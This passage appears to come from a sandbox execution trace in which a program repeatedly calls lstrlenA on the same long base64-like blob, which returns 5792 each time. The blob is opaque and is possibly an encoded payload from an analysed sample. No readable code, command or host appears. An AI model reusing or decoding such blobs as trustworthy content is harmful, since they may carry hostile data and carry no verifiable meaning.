YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.354] lstrlenA (lpString="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") returned 5792 [0128.354] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EYZuJdnHDIAlZKhTotgoFLGrsr5yCGg6J5+KaNeCEQ18DNCargANkJuqdiGSoVQuv3lyKi3mUjTYins9w6xLz2HvYczyRRnQxdRjnD1T94fe2IYRq4vDVsjDDMklXza/m5c2HtwVzc+JR39oZ9QD9O4UyGn/9434wg/tHbejo/TsiP9/TxcMLDcIY8C0GSvTm4i/67LRtotkktBeWJXKwSJPQAcNCtbiY37If9/tFNUgJ7xln/0EeguBl+mG6Cw8m8ZyvECKyF+N1IlW0hBjQfeoUHRQUqZCfNLuCG8wSg0uLyuz3aW/37wXtHnlMq0vWIIOaPuqeNDXs82bvKXpoKRmVrolZxBnmOthOcn4U/tEX8qh4Ku5r2GvOxI8E9B1KAkJ6cURKbp9MqxybzBONVQSIr/TflDhuVFT1lrC+dZqvg94+lhHHDv+8Zkv/vBmuupHXbAps1SRttGfVTHB/W+fppkh0k9QX6+XC/2EVI8IO3McPkydOccTE0DxzvA3s9hk7UuLO2AJUpaV6vtxLhkFm8qgOur8sdlNzYcENBFf5sPJou+My4kO1YdJI1wSwBE+WjWmHKSRVmPk9gIdYNj+PdcXAEua+VJq/oWFscUn7mat2gWMj1x/N3ssVLZ6xtOz56lw8ENqizym+rJ36TUjBDNHyKoivVj2757CCpY8NXHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZLx8nW2fmvF4h9zs1HQ1nNlFP3L3dKoFYA4zMMv7hg4XFocI7NP3+fE697T/S5igTjvHF1wzYdL6YJch6feVeY88Yti33n/meLgq34H/Jut/HgZe+VWN/PwO11Jz0YUmkVp9AeAxZQXGE+OIMOY0r6TDp/N1Vcq305LXXlSQayDS2gSqqtFDpofSeO8TDUL//YK9yGT7zkFNKWUKuT9sess5SxvrfzoKtOqk6m4Y3aH1qmjDVGPLPjXzYW6XBytXgCfWxI+kyrHZDOx7e/+9KtPMG4p2L2yUmEWBMxqpZVOIuwAlSU08m2PRQ62/ZA1NKF5cKIb93yHCqKRLFtJC5liMy3lzeiTIXmIBiKzTLITNEhL+YVk2lxNVwJHLwT8QAV9ILxzt0IAL8vGkoZ24e+F22DG4QyPSeHfVSBVlO/ElQ0yZwBluOwDRKFOLZy49gktPmIuAS/JyQ5wIgNxPQqDLSmlhKJHVSo9Ugj5pnaZZrr1Wn4tJRskxHp246TrvbMMAWlKRQw+kK+0QcGMMytqfXRbZe4HRKyij9M2UrgDEqON8/KRoeUi8Dwbm7MBZOAwOayoHafCXrUnkoai3bfNJ31v5W33+lfNXGYh87PpqQ6iztsMnH3iVcl3Asp/4VA8d18u+y8enTBtp2PhYVTHgBXgcHe+ekrTbBU1qbzH3ZxAtm8gidioiqRfNYnf3m84y+S0WdG0r9JMK6GdrfPfNpKGNFvUVSyZvu0Zo4NOXLX1QS3ddo5b6apBb/zmK7vnKpTd6pYtC4QrwPM7SGQTcqLky7+qVo2wSjRM6wz3h6ZrvJAHo1QAXBiUEda+OgL2HfIGrNA45iVfJsoeGDdDYzmmJb9cYzlqCVonC/eprhqeCEnfde/HGgfZ5n6CCZWiEUrXuIrbaxmE3c6ZbEObKD7Wbwz8AlM7p3XNUKICWYt8kypvG1bnZRS0hKmpfIv+ghDwg3PyYrVKr2DmGk+Wjt9tOk+ULdSrkpXJTZTUTRODsxBSL6fy1PgL22xoH8b/b5503Wny8hV2I3eclxqEgh30gA0XUMeEnq6Dh/EJMN6E6Nva6u/jc/djVAs44U6OQ2STos/Nw7NfyhtuX84V4+RjfbOPGPhaTh6mia8m9ZVIyacY+gW/c8FCEi82+5+/kX/VAbhMxak0tLFEolICkZfOyIVHLY7UK/R2lpAODIBoR990pcyeBAj+UI6tdop0kGvI1NDl4QphhZW37C8ar3rV5FWqR7vVWxa25zPi7cfg/CdM/p/AZKqVB13cDR+TmfswJNq6LTmulSTqMl4QTwg2UWKRFlK0vdonIJu7ib2+zagAXTTFRn6M6Yj6HlDC3RF3y70Dj+IpePspwU6EX8KovH4rUfbwg9jMGmZu/43LG5ACzKDMW8lQ3bdcEzL4Fmy5tSYi9RlQS01h9sXHcJUougvsRAg4aByn4QXBsCA5YQt78BXZidfh2+4xMHbLMOCxl9LS4Y8yEzGqMJM2LKUNE5oUeSmcdF7HHJN+r7BuRJYoiQTxc1t3MqOTjJ7OQCAReUOhAOd0YQvpLSFcVFHgxfgHX2HmiUuvnZjXjUPxrOLDwCWpIyd7ZaVAbQw0rKPGcuFYGtSfv7ihvQZmzlBm4mdDOaFOErQ8cDHvb32QZ2Z3hNQuF0NnvoGNkpoiAIknxYXiwza5DmR0NUwD2j73gXKcqTnhiONdAZtK8bylX1PJk9B7fnnjsoQRa5WglIHBfyBwEw9wjxE5iUWrnV0b6hgMAfAoAo3A2VJpLca2Z6kJMRPF0NtRBDFVNcOH0CQ5LcoGCBpYenEIWS5oDfEzb1gcayD07ZZaySZBDNQMaM8X6REHUgnHBZn4Xm6jkrFwpKARvyjahsOsV+ZozgeCw2ju9OoquH8csJxdRucgPmB5dSHescgmSeeYcozxP3wIv6r9Hwg2i/KobEfbzf5opOyS9X/8G/vMfwczi+WaiNTK0M13uB805OlqfIzuxo0c9Xfra5VL5D9UnX8FEcr4z3aN66RMFwHgviNxAVLAlLqTvobs3THM4fqsjLRfjCbGONkMiREB7caOSlA2GVZQOAmraAsOSvPvjaFn5+KWCFnXftNibVsBd3GY3wgaQm9RQU4HFKq8XxWSgRMzdtK35dje7e+FJ5QEwCmrxzLbPuEbiwYJNzyp+Kub2Uemty4OC+9FR2yQOG1m646tcNMCZIPf2hP5dxIp2LpWqMAHGWXceedFvz7mQgkNMo3S/HhKz+/p6ldkwTs9CObAL3cI9rmPN9N6olBDi7Z1Z2XTObji6jlWrUM0dvQsEYXeUutMh3BVwXPmteiGBNUqg07OOra+bHETc2mHIiJCXRuK4ASsAPbBtSHKBLvOe/xQCeLspGViryIozpXOUeiKrwF81Yr5RyMQHKGriYOTB1rdJ/lO6b//EYq/plvQipuG2RXdy4OkXugvZ4m7YHTnAqWV3oSefx3BWalWGBNaz/yW1DstGgWamEcUpCUyMboBWdlSQdhlLKyrVdB/u2I+DfOTxgPiTAeeK9U9M/02vxaiMlTdBb9fzTXk53hkg9yqqN8l6XKEoUnQWfd5FcMNwW8OWHViHpLDWVm+98jvU5uwcmXwPnel1Fvf5R9A/64U3RuGroumyk+H+fk2SVe/d/m+GlsISY9AyD/YtCutm2FR3rmCccOmL2HgqpYzjGEgzQax8t9eBNAYj4NLUOzD0o2+E8O66JcKAS49y4tZsgwk0m1NzXXfw+3Jk1Cewh6k5QQtNQKEiLse4uDogihI0VFkYiaAfZuOW10IeH2elk7QXxlqOjf+W2wRyprHC316Kut2KHxtGy4EK93jKVGvN1uepe/6gSX0jpZw+lVZ+ltK7s2XEU8DXZMO5fTct8tEdK35XMk8MzzlCcSwgAVH07Xir9qSesfvKHl157zcfRDpRH98EkbJfVDBiV8s1AW6xOtbrnYrZsrkPFN+nkeCsFVk7/NSXHelph0K8pEiXhD8I+FbmfG799waoJQ3NFh6kWsAADwTn1zQn7XIzF2Riot/53OWrajeYHvcxqkkme2W9DeUlmWl+G4gDVr2dWoXpPEG/oPKUWaSGb6nJMdqAXtX7jYiFcuCI1T31KwT8D2QMTl5+YE3vo8/AZk2f7GWkYGy8d3JqEt2S12vK3xrwc8FgBi4UQspTpF+yjU/LOJkPOfiuvIdtRJJqskQHA4udnv9zIkKjy9C9Pjw8CuzTNalGRoD513nygF1ajdNKhfbUSN1ggWH72Q/j1bWd0iGETK1kqo0e1AEqTVHc0wMFvEcRbecAQjZCSolAnNmNBzuC2wfV+e2TDBj4+snFpqxe2M8LCM3LXw019UU01Gs0fyXzEu2sWgGWPdCtq8P1xkSWe5Q8VSairsokftiH1TSbYOnIY+YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.354] lstrlenA (lpString="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